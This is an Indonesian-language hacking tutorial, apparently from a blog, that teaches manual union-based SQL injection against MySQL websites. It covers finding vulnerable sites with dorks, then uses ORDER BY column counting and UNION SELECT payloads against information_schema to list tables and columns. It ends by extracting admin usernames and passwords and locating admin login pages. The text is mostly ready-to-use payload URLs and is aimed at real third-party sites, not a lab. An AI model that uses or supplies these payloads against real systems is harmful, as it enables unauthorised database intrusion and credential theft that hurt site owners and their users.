SQL Injection
Pengertian sql injection:SQL injection adalah sebuah tekhnik hacking yang dilakukan di aplikasi client
dengan cara memodifikasi perintah MySQL yang ada di memori aplikasi client, ini
juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan
database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
===========
=Step Satu:=
===========
Pencarian target, di sini kita bisa menggunakan dork untuk mendapatkan site
misal: [site]/news.php?id=100
Tambahkan karakter “ ' “ pada akhir url atau menambahkan karakter "-" fungsi ini
adalah untuk melihat apakah terdapat pesan error di site tersebut
contoh:
[site]/news.php?id=100' atau
[site]/news.php?id=100-
sehingga muncul pesan error seperti berikut (masih bnyak lagi):
==========
=Step Dua:=
==========
Di langkah ini kita akan mencari dan menghitung jumlah table yang ada dalam
databasenya...
Untuk di sini kita menggunakan perintah : order by
[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*
Ceklah secara step by step (satupersatu bisa juga lompat)...
misal:
[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--
sehingga muncul error atau hilang pesan error...
[site]/berita.php?id=-100+order+by+9--
berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--
===========
=step Tiga:=
===========
Untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--
ok seumpama yg keluar angka 5
gunakan perintah version() atau @@version untuk mengecek versi MySQL yg
dipakai, maka masukan perintah tsb pada angka yg keluar tadi
[site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8—
or
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--
Jika versi MySQL adalaha versi 5 di sini kita menggunakan perintah
from+Information_schema untuk lebih berekplorasi lagi ke dalam site tersebut
============
=Step Empat:=
============
Di sini kita akan mencari table jadi untuk menampilkan table yg ada pada web tsb
adalah
perintah “table_name” >>> dimasukan pada angka yg keluar tadi
perintah “from+information_schema.tables/* >>> dimasukan setelah angka
terakhir
[site]/berita.php?id=-
100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--
Setelah kita menggunakan perintah tersebut maka akan muncul beberapa table yang
ada dalam database dari site tersebut, semua tergantung dari site tersebut di sini
karena kita akan mencari user dari site tersebut maka yang akan kita lihat adalah
table yang punya hubungan dengan hal tersebut, seperti tbl_user, tbl_admin dst, di
sana terdapat table admin, jadi mari kita eksplorasi di table tersebut..
===========
=Step Lima:=
===========
Untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>
dimasukan setelah angka terakhir
[site]/berita.php?id=-
100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_
schema.tables+where+table_schema=database()--
=============
= Step Enam: =
=============
Perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>>
dimasukan setelah angka terakhir
[site]/berita.php?id=-
100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information
_schema .columns+where+table_name=0xhexa--
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu
dengan cara mengkonversinya
website yg digunakan untuk konversi :
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E
[site]/berita.php?id=-
100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information
_schema .columns+where+table_name=0x61646D696E—
Di sini akan muncul isi dari table admin tersebut, yang isinya biasanya user untuk
login password email dan lain lain, lihat di step berikutnya..!!
============
= Step Tujuh: =
============
Untuk memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara
perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan
pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi
column),6,7,8+from+(nama table berasal)--
contoh kata yang keluar adalah id,username,password
[site]/berita.php?id=-
100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+
admin--
==============
= Step Delapan:=
==============
Di tahap ini kita akan mencari hal login dari web tersebut, di sini default dari site
biasanya
/admin
/admin/login.php dst
Kita bisa juga menggunakan tool untuk mencari hal adminnya
Best Regards To :
Newbie Hacker, Mister Fribo, forum.cyberdos.org, indoface.co.cc, indonesiancoder.com, jatimcrew.com, echo.or.id , and all people








0 komentar: